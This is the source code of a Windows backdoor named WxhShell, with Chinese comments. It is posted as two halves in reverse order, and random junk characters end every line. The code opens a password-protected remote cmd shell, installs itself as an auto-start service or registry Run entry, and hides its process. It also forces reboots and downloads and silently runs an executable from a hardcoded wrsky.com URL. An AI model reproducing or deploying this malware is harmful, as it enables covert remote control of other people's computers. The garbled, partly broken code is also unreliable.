    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eI#b%h  
    else { He1hgJ)N  
    closesocket(wsh); X`s6lV%\  
    ExitThread(0); KFuP gp  
    } ^F="'/Pq[  
    break; dm:2:A8^  
    } AuW-XK.  
  // 获取shell *hV$\CLT.  
  case 's': { _G62E $=  
    CmdShell(wsh); 9| {t%F=-  
    closesocket(wsh); le*'GgU#  
    ExitThread(0); vB<2f*U  
    break; 8hZY Z /T  
  } 7A=*3  
  // 退出 D\@)*"  
  case 'x': { zn3]vU!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nD5+&M0  
    CloseIt(wsh); 8aMmz!S  
    break; cxig<W  
    } EjF2mkA*  
  // 离开 .0a,%o 8n  
  case 'q': { 6o cTQ}=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Xm?tC<   
    closesocket(wsh); K'@lXA:  
    WSACleanup(); hN"cXz"/  
    exit(1); *K'_"2J  
    break; Cx[Cst `  
        } H'_v  
  } nQm (UN  
  } d"nms\=p  
+N>z|T<  
  // 提示信息 *~%QXNn`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :|z.F+-/  
} =cwdl7N&I  
  } ~:xR0dqx  
`=.A]) >  
  return; k>V~ iA  
} .Z9{\tj  
0Z&ua  
// shell模块句柄 .Y*jL&!  
int CmdShell(SOCKET sock) 2E$K='H:,  
{ v1aE[Q  
STARTUPINFO si; x1'4njTV$  
ZeroMemory(&si,sizeof(si)); C9VtRq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AcQmY?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IW$qP&a  
PROCESS_INFORMATION ProcessInfo; XlaGR2-%  
char cmdline[]="cmd"; k )=Gyv<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QP~Iz*J'  
  return 0; q}r{%ypf  
} 'mm~+hp  
!M(3[(Ni  
// 自身启动模式 " Z2D@l  
int StartFromService(void) Gl]z@ZXWIw  
{ Bgf'Hm% r  
typedef struct g><i tA?  
{ 6Z>G%yK  
  DWORD ExitStatus; `Re{j{~s  
  DWORD PebBaseAddress; dhCrcYn  
  DWORD AffinityMask; m> YjV>5  
  DWORD BasePriority; k8S`44vj  
  ULONG UniqueProcessId; Dwa.ZY}-  
  ULONG InheritedFromUniqueProcessId; QZ2a1f'G  
}   PROCESS_BASIC_INFORMATION; F['%?+<3  
|Ca %dg9$@  
PROCNTQSIP NtQueryInformationProcess; +d'1  
n qC@dHP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j9g0k<eg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K4vOy_wT  
pzFM#   
  HANDLE             hProcess; o56UlN  
  PROCESS_BASIC_INFORMATION pbi; iu.$P-s  
Zk<Y+!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E/ {v6S{)Y  
  if(NULL == hInst ) return 0; 4OTrMT$y  
D0*+7n3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &,%+rvo}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +8Q5[lh2]j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Gc\"'^r  
DPBWw[  
  if (!NtQueryInformationProcess) return 0; a2.@Zyz  
m_C#fR /I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \L:+k `  
  if(!hProcess) return 0; Sh;Z\nj  
u_'XUJ32!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )tp;2rJ/  
3\Tqs  
  CloseHandle(hProcess); 3( o~|%  
E! mxa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |,lw$k93  
if(hProcess==NULL) return 0; n^2'O:V s  
FC q&-  
HMODULE hMod;  BRF4 p:  
char procName[255]; 9}<iS w[  
unsigned long cbNeeded; l % 0c{E~  
0kxe5*-|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iM +p{ /bN  
K [R.B!;N  
  CloseHandle(hProcess); .gs:.X)TG9  
R&@NFin  
if(strstr(procName,"services")) return 1; // 以服务启动 8!|LJI  
!D~\uW1b  
  return 0; // 注册表启动 /" 6Gh'  
} Nf1&UgX  
' )~G2Ys  
// 主模块 jm&PGZ#n=R  
int StartWxhshell(LPSTR lpCmdLine) J5L[)Gd)D  
{ aBT8mK -.  
  SOCKET wsl; 0RGqpJxk  
BOOL val=TRUE; CQh6;[\:  
  int port=0; |TRl >1rv  
  struct sockaddr_in door; ur JR[$p  
VX,@Gp_'m  
  if(wscfg.ws_autoins) Install(); Sp./*h\}  
"Ax#x  
port=atoi(lpCmdLine); p.RSH$]  
aSH =|Jnc  
if(port<=0) port=wscfg.ws_port; @tVl8]y  
+x)x&;B)/  
  WSADATA data; h{.x:pPXy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .&;:X )  
GN=-dLN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~4=XYYcka  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZL+46fj  
  door.sin_family = AF_INET;  G4{TJ,~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !HSX:qAP$  
  door.sin_port = htons(port); PmlQW!gfBi  
6r}w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?V$@2vBVX4  
closesocket(wsl); H5/w!y@  
return 1; y;ymyy&  
} e?\34F  
`XK#sCC  
  if(listen(wsl,2) == INVALID_SOCKET) { Wf>=^ ~`  
closesocket(wsl); 2^ kK2D$o  
return 1; I!Uj~jV  
} Dy^A??A[E}  
  Wxhshell(wsl); U{ ZKxE  
  WSACleanup(); {9|S,<9  
)O$T; U  
return 0; !WNO!S0/j  
|6T"T P  
} A}MF>.!}C  
A"Sp7M[J  
// 以NT服务方式启动 R~N'5#.*M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4$Ud4<  
{ 2,e>gP\]  
DWORD   status = 0; (/gMtIw  
  DWORD   specificError = 0xfffffff; Pw/$ }Q9X  
NY\-p=3c7=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [WBU _  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mq4>Mu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x4[ Fn3JL  
  serviceStatus.dwWin32ExitCode     = 0; (k24j*1e$  
  serviceStatus.dwServiceSpecificExitCode = 0; &n9 srs  
  serviceStatus.dwCheckPoint       = 0; {IT;g9x  
  serviceStatus.dwWaitHint       = 0; 31{) ~8  
C)|#z/"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KJCi4O&  
  if (hServiceStatusHandle==0) return; d;E (^l  
^=,N] j  
status = GetLastError(); L,* #  
  if (status!=NO_ERROR) b_GAK  
{ '[Z.\   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b*dEX%H8sf  
    serviceStatus.dwCheckPoint       = 0; Xf*}V+&WN  
    serviceStatus.dwWaitHint       = 0; *@[N~:z/  
    serviceStatus.dwWin32ExitCode     = status; p0@l581  
    serviceStatus.dwServiceSpecificExitCode = specificError; aT}?-CUxx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P/ 7aj:h~P  
    return; L^{wxOf&6E  
  } {!37w[s~  
7 ^n{BsN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -A)/CFIZ  
  serviceStatus.dwCheckPoint       = 0; qY|NA)E)Bp  
  serviceStatus.dwWaitHint       = 0; "<1-9CMl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %nT&  
} YA*E93J0  
G:Cgq\+R  
// 处理NT服务事件,比如:启动、停止  !AFii:#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X DAwE  
{ B+2Jea,N  
switch(fdwControl) .MI 5?]_  
{ am# (ms  
case SERVICE_CONTROL_STOP: {14sI*b16  
  serviceStatus.dwWin32ExitCode = 0; CV7%ud]E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /*hS0xN*  
  serviceStatus.dwCheckPoint   = 0; g33Y]\  
  serviceStatus.dwWaitHint     = 0; ;%Rp=&J  
  { V(<(k,8=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .tt=\R  
  } Su/}OS\R  
  return; THHA~;00YN  
case SERVICE_CONTROL_PAUSE: n%I9l]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Pi CA  
  break; ?PDrj/: *  
case SERVICE_CONTROL_CONTINUE: &ZAc3@l[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =qFDrDt  
  break; Wm>AR? b  
case SERVICE_CONTROL_INTERROGATE: *[0)]|r  
  break; hnnPi  
}; .p /VRlLU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +e( (!  
} } f+hB  
,7*-%05[\  
// 标准应用程序主函数 )kK" 1\m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8b:\@]g$  
{ wm s@1~I  
rK r2 K'  
// 获取操作系统版本 KSy.  
OsIsNt=GetOsVer(); Eumdv#Qg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5H |<h  
 9Li.B1j  
  // 从命令行安装 \'Ewn8Qv8  
  if(strpbrk(lpCmdLine,"iI")) Install(); iWMgU:T  
dX ;G [\  
  // 下载执行文件 Jej-b<HmQ  
if(wscfg.ws_downexe) { 31n|ScXv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eKek~U&  
  WinExec(wscfg.ws_filenam,SW_HIDE); "i/3m'<2  
} S[L2vM)  
OCYC Dn  
if(!OsIsNt) { ybgAyJ{J<  
// 如果时win9x,隐藏进程并且设置为注册表启动 AAld2"r  
HideProc(); 3-$w5O3}  
StartWxhshell(lpCmdLine); X^ZUm  
} i"U<=~  
else XIJ{qrDr  
  if(StartFromService()) P'q . _U  
  // 以服务方式启动 .W q"  
  StartServiceCtrlDispatcher(DispatchTable); ~L=Idt!9  
else jj*e.t:F  
  // 普通方式启动 7COJ.rA  
  StartWxhshell(lpCmdLine); Mv^G%zg2  
&4-rDR,  
return 0; 7z4u?>pne*  
} 6N]V.;0_5  
1[r;  
{qkd63 X  
>5}jM5$  
=========================================== Il,^/qvIY  
@dp1bkU  
*) ?Fo  
NK0hT,_  
>!|(n @  
Hxzdxwz%$  
" hg=BXe4:  
1O]27"9  
#include <stdio.h> uSi/|  
#include <string.h> @C fxPA  
#include <windows.h> l\Or.I7n  
#include <winsock2.h> t?R=a-ZI  
#include <winsvc.h> "7tEk<x  
#include <urlmon.h> 8GD!]t#  
]VS$ ?wD  
#pragma comment (lib, "Ws2_32.lib") =\l7k<  
#pragma comment (lib, "urlmon.lib") (6S f#M  
^XQr`CqI  
#define MAX_USER   100 // 最大客户端连接数 V`z2F'vT  
#define BUF_SOCK   200 // sock buffer H<6/i@ly  
#define KEY_BUFF   255 // 输入 buffer U<lCK!85[  
m+/-SG  
#define REBOOT     0   // 重启 (G:K?o)  
#define SHUTDOWN   1   // 关机 8FY/57.W  
wc5OK0|  
#define DEF_PORT   5000 // 监听端口 VT&R1)c  
h f1f  
#define REG_LEN     16   // 注册表键长度 63?fn~0\  
#define SVC_LEN     80   // NT服务名长度 MJ:>ZRXC E  
:,^pLAt  
// 从dll定义API q$=EUB"C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] x_WO_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aa;s.:?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d.3O1TXK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6hs2B5)+  
Ck0R%|  
// wxhshell配置信息 Z 7M%}V%  
struct WSCFG { $&|*v1rH  
  int ws_port;         // 监听端口 { !C';^  
  char ws_passstr[REG_LEN]; // 口令 boR&'yX  
  int ws_autoins;       // 安装标记, 1=yes 0=no Eb<iR)e H=  
  char ws_regname[REG_LEN]; // 注册表键名 = ?hx+-'  
  char ws_svcname[REG_LEN]; // 服务名 ]8XY "2b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vQ}'4i8(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fYzOT, c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \KaWR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q(2X$7iRq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &)p/cOiV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zaVDe9B,7  
|ei?s1)  
}; aQEMCWxZ  
J0U9zI4  
// default Wxhshell configuration bTn7$EG  
struct WSCFG wscfg={DEF_PORT, L:y} L  
    "xuhuanlingzhe", syYg, G[  
    1, RJ_ratKN*g  
    "Wxhshell", <(Wa8PY2(  
    "Wxhshell", <M1XG7_I  
            "WxhShell Service", g& *pk5V>  
    "Wrsky Windows CmdShell Service", X]Emz"   
    "Please Input Your Password: ", nJ|8#U7  
  1, .wD>0Ig  
  "http://www.wrsky.com/wxhshell.exe", #(53YoV_8  
  "Wxhshell.exe" "kKIVlC  
    }; 6SMGXy*]^  
qYW{$K  
// 消息定义模块 =Po!\[SBU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OKp(A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Bt`6u.>e,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /AR;O4X+  
char *msg_ws_ext="\n\rExit."; q($lL~Ls  
char *msg_ws_end="\n\rQuit."; K'%,dn  
char *msg_ws_boot="\n\rReboot..."; rSD!u0c [  
char *msg_ws_poff="\n\rShutdown..."; .6[xX?i^T  
char *msg_ws_down="\n\rSave to "; =>hq0F4[;  
WG;1[o&  
char *msg_ws_err="\n\rErr!"; ?'K}bmdt}.  
char *msg_ws_ok="\n\rOK!"; 0C}7=_?  
~4wbIE_r N  
char ExeFile[MAX_PATH]; ;C%D+"l1g  
int nUser = 0; ZbYwuyHk(3  
HANDLE handles[MAX_USER]; @\_ tS H  
int OsIsNt; qB_MDA  
<,l&),  
SERVICE_STATUS       serviceStatus; | %af}# FQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q0 :Lb  
\K)"@gdW  
// 函数声明 ` BH8v  
int Install(void); 8=7u,t  
int Uninstall(void); 2;4Of~  
int DownloadFile(char *sURL, SOCKET wsh); qeCx.Z  
int Boot(int flag); <}%>a@  
void HideProc(void); &j/ WjZPF  
int GetOsVer(void); +b] g;  
int Wxhshell(SOCKET wsl); 6:B[8otQ  
void TalkWithClient(void *cs); RC8{QgaI  
int CmdShell(SOCKET sock); 2|o6~m<pE  
int StartFromService(void); Um\Nd#=:  
int StartWxhshell(LPSTR lpCmdLine); >#R<*?*D}  
~\K+)(\SNp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "gdm RE{x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ASAz<H$  
A0M)*9 f  
// 数据结构和表定义 xkOyj`IS  
SERVICE_TABLE_ENTRY DispatchTable[] = o:#MP(h,N  
{ zp4Jd"XBX  
{wscfg.ws_svcname, NTServiceMain}, E`>-+~ZUsk  
{NULL, NULL} 9p(s FQ [  
}; .*D~ .!  
(]>c8;o#b  
// 自我安装 6Pl$DSu  
int Install(void) 'M+iVF6  
{ !1dCk/D&)8  
  char svExeFile[MAX_PATH]; zb~!> QIz{  
  HKEY key; d>  Y9g  
  strcpy(svExeFile,ExeFile); [e ;K$  
SMgf(N3]  
// 如果是win9x系统,修改注册表设为自启动 >i]r,j8!  
if(!OsIsNt) { #:{PAt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UioLu90 P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GfY!~J  
  RegCloseKey(key); _C"W;n'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IZ3w.:A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rs8`M8(4%  
  RegCloseKey(key); D(}v`q{Y  
  return 0; npz*4\4  
    } F%6al,8P  
  } PR~ho&!  
} uI-te~]  
else { "sf8~P9qy  
%|o4 U0c  
// 如果是NT以上系统,安装为系统服务 *gu~7&yoP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L]kSj$A  
if (schSCManager!=0) i+jSXn"_  
{ rayC1#f  
  SC_HANDLE schService = CreateService ?bQ~ +M\  
  ( Az6f I*yP  
  schSCManager, _7]* 5Pxo  
  wscfg.ws_svcname, I9ubVcV8  
  wscfg.ws_svcdisp, 2@1A,  
  SERVICE_ALL_ACCESS, sju. `f>-r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  {k}S!T  
  SERVICE_AUTO_START, <"AP&J'H  
  SERVICE_ERROR_NORMAL, J^ryUO o}b  
  svExeFile, ,S:LhgSP  
  NULL, 0NZg[>H  
  NULL, hI;tB6  
  NULL, kfg9l?R$I<  
  NULL, D>~z{H%\  
  NULL 4&r^mGs,  
  ); o{?s\)aBa  
  if (schService!=0) DK&J"0jz,  
  { *xM4nUu<~  
  CloseServiceHandle(schService); yu<sd}@  
  CloseServiceHandle(schSCManager); br>"96A1l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E*.D_F  
  strcat(svExeFile,wscfg.ws_svcname); _%;$y5]v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L=VJl[DL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &voyEvX/S  
  RegCloseKey(key); wvcG <sj  
  return 0; ; @-7'%(C  
    } 2ME3=C  
  } GTNN4  
  CloseServiceHandle(schSCManager); nv*q N\i'  
} QW|,_u5j  
} vEvVT]g[V  
t@>Uc`%  
return 1; |OUr=b  
} &$qqF&  
QK% {\qu  
// 自我卸载 OCa74)(  
int Uninstall(void) 7<mY{!2iF?  
{ h:<p EL  
  HKEY key; bB->\  
TV#pUQ3K  
if(!OsIsNt) { g03I<<|@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G  2+A`\]  
  RegDeleteValue(key,wscfg.ws_regname); zdzTJiY2[Z  
  RegCloseKey(key); ZTVX5"#Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4W*52*'F,  
  RegDeleteValue(key,wscfg.ws_regname); 8{8J(~  
  RegCloseKey(key); ,mhO\P96ik  
  return 0; OSK 3X Qc  
  } AwAUm 2^  
} `!kOyh:X  
} CQW#o_\  
else { {l%Of  
,H2[["1DH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  [:  
if (schSCManager!=0) i!LEA/"V  
{ Z[R E|l{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =[FNZ:3  
  if (schService!=0) 200/  
  { ly7\H3  
  if(DeleteService(schService)!=0) { "H" 4(3  
  CloseServiceHandle(schService); ;x$,x-  
  CloseServiceHandle(schSCManager); Jv %, v?  
  return 0; \ty{KAc&  
  } b<P9@h~:  
  CloseServiceHandle(schService); B?`Gs^Y {z  
  } O[U^{~iM  
  CloseServiceHandle(schSCManager); |`1lCyV\tE  
} xqs{d&W  
}  ztKmB  
[ma'11?G  
return 1; mFw`LvH?*  
} KbQ UA$gL=  
d`5xd@p  
// 从指定url下载文件 KaNi'=nW  
int DownloadFile(char *sURL, SOCKET wsh) PxNp'PZr9  
{ --4,6va`e  
  HRESULT hr; 3s<~}&"  
char seps[]= "/"; zt/b S/  
char *token; ?'Y\5n/*$  
char *file; Ly"u }e  
char myURL[MAX_PATH]; eY)ugq>'  
char myFILE[MAX_PATH]; pwtB{6)VH{  
!}<d6&!py  
strcpy(myURL,sURL); S}f 3b N  
  token=strtok(myURL,seps); rG|lRT3-K  
  while(token!=NULL) rkugV&BhV  
  { )y4bb^;z  
    file=token; ON.C%-T-  
  token=strtok(NULL,seps); 5R\{&  
  } "j;"\i0  
b R> G%*a  
GetCurrentDirectory(MAX_PATH,myFILE); "SJp9s3  
strcat(myFILE, "\\"); [KR|m,QWp  
strcat(myFILE, file); ? C1.g'}7  
  send(wsh,myFILE,strlen(myFILE),0); 8/F}vfKEN  
send(wsh,"...",3,0); +!h~T5Ck  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k&wCa<Rs~R  
  if(hr==S_OK) Z0uo. H@.N  
return 0; }^U7NZn<"  
else @iwVU]j  
return 1; YRa{6*M  
g X75zso  
} @M-i$ q[4  
F7P?*!dx  
// 系统电源模块 KX D&FDkF  
int Boot(int flag) M3P\1  
{ yB0xa%  
  HANDLE hToken; 3tzb@T  
  TOKEN_PRIVILEGES tkp; ]CHO5'%,$  
Yef=HSzo  
  if(OsIsNt) { w.Cw)# N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UKX9C"-5v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); go >*n\  
    tkp.PrivilegeCount = 1; b* k=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _/(DEF+G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,' VT75  
if(flag==REBOOT) { g@0<`g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HY-7{irR~  
  return 0; $cjwY$6  
} [d 30mVM  
else { Sggha~E2s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KZrg4TEVi  
  return 0; & \tD$g~"  
} 7[z^0?Pygf  
  } 5:y\ejU  
  else { 7X 4/6]*  
if(flag==REBOOT) { s8BfOl-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &CBW>*B  
  return 0; DwSB(O#X  
} DEJ0<pnQr  
else { *Z}^T:3iw}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %87D(h!.I4  
  return 0; RN:VsopL  
} "/H B#  
} )gF>nNE  
}_Y&kaM  
return 1; ~5`p/.L)ZD  
} = VIU  
stGk*\>U'  
// win9x进程隐藏模块 ?R-4uG[(  
void HideProc(void) Ac^hZ.qPz  
{ N;Hoi8W  
7`eg;s^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (<GBhNj=c  
  if ( hKernel != NULL ) S $j"'K  
  { HGycF|]2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?{=& Ro  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rtM29~c>@  
    FreeLibrary(hKernel); m\*;Fx  
  } f2h`bO  
Ln-UN$2~F  
return; ;OC~,?O5  
} oZ]^zzoEcg  
Z4ekBdmCL  
// 获取操作系统版本 (F=/r] Q  
int GetOsVer(void) B:mtl?69g  
{ om_UQgC@r  
  OSVERSIONINFO winfo; h]6m+oPW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j(aok5:e  
  GetVersionEx(&winfo); e^!>W %.7Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6&oaxAp<s  
  return 1; <Wr n/%tL  
  else I{nrOb1G(  
  return 0; q,;8Ka )  
} S?Y%}  
oS>VN<  
// 客户端句柄模块 !LI 8Xk  
int Wxhshell(SOCKET wsl) DP@F-Q4  
{ jJ.isr|`  
  SOCKET wsh; ATRB9  
  struct sockaddr_in client; wWYo\WH'  
  DWORD myID; gh9Gc1tKt  
Pzt 5'O@dA  
  while(nUser<MAX_USER) \9t/*%:  
{ idzc4jR6BT  
  int nSize=sizeof(client); fEJF3<UF&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y':JUwUN  
  if(wsh==INVALID_SOCKET) return 1; g9~QNA  
>DM^/EAG{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iQd,xr  
if(handles[nUser]==0) ^7Z#g0{^w  
  closesocket(wsh); 2I[(UMI$7  
else z:1"d R   
  nUser++; R) ep1X^  
  } 6Pp3*O`/V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %2@O,uCo@  
?3#L?Cq  
  return 0; }1kZF{KD<[  
} >mAi/TZC  
ew+>?a'&L  
// 关闭 socket m'n<.1;1{j  
void CloseIt(SOCKET wsh) YMG~k3Yb  
{ X_HU?Q_N  
closesocket(wsh); :DG7Z  
nUser--; PenkqDc}  
ExitThread(0); m!- R}PQC  
} }'`iJ b\  
#fVk;]u`[3  
// 客户端请求句柄 >,6%Y3  
void TalkWithClient(void *cs) T)#e=WcP]  
{ b3NEYn  
>PS`;S!(  
  SOCKET wsh=(SOCKET)cs; 0n/+X[%Ti  
  char pwd[SVC_LEN]; ;$Pjl8\  
  char cmd[KEY_BUFF]; d~abWBgC`  
char chr[1]; \x=j  
int i,j; Bo +Yu(|cL  
Je*hyi7  
  while (nUser < MAX_USER) { }PUY~ u  
a7U`/*  
if(wscfg.ws_passstr) { bZ SaL^^(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ugV/#v O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o}b_`O  
  //ZeroMemory(pwd,KEY_BUFF); #O1%k;BL  
      i=0; mS?W+jy%  
  while(i<SVC_LEN) { 9,jFQb(),  
^aI$97Li  
  // 设置超时 45 B |U  
  fd_set FdRead; itmFZZh  
  struct timeval TimeOut; wiP )"g.t  
  FD_ZERO(&FdRead); "'3QKeM1  
  FD_SET(wsh,&FdRead); ' e:rL.  
  TimeOut.tv_sec=8; $!goM~pZ  
  TimeOut.tv_usec=0; ,a34=,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "1wjh=@z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .b|!FWHNS  
fR&x5Ika0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X1XmaO% A  
  pwd=chr[0]; ">FuCvQ  
  if(chr[0]==0xd || chr[0]==0xa) { qFE(H1hy  
  pwd=0; Mi<l;ZP  
  break; 06]%$ -j  
  } exxH0^  
  i++; F-=Xbyr3@  
    } Ake$M^Bz  
Yln[ZmK9g  
  // 如果是非法用户,关闭 socket !NO)|N>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aZ'(ar :  
} |hD)=sCj  
g[L}puN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P$v9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y=&^=Z h[  
LI9 Uc\  
while(1) { @(CJT-Ak  
E$C0\O!7  
  ZeroMemory(cmd,KEY_BUFF); m%%\k \  
VmON}bb[zz  
      // 自动支持客户端 telnet标准   [_-[S  
  j=0; GK&R,q5}  
  while(j<KEY_BUFF) { R4%}IT^%P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )mu[ye"p  
  cmd[j]=chr[0]; BIxjY!!"  
  if(chr[0]==0xa || chr[0]==0xd) { m\f}?t  
  cmd[j]=0; Ksff]##H  
  break; rqTsKrLe  
  } IFbN ]N0  
  j++; @MxB d,P  
    } &PUn,9 Rm  
?wVq5^ e  
  // 下载文件 YP`/dX"4  
  if(strstr(cmd,"http://")) { FO:k >F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | Zj=E$  
  if(DownloadFile(cmd,wsh)) s x2\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[":W?j  
  else 7|DPevrk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [5-3PuT&9  
  } GhR%fxe  
  else { `s8!zy+  
i4\DSQJ  
    switch(cmd[0]) { G O[u  
  'MQJt2QU9{  
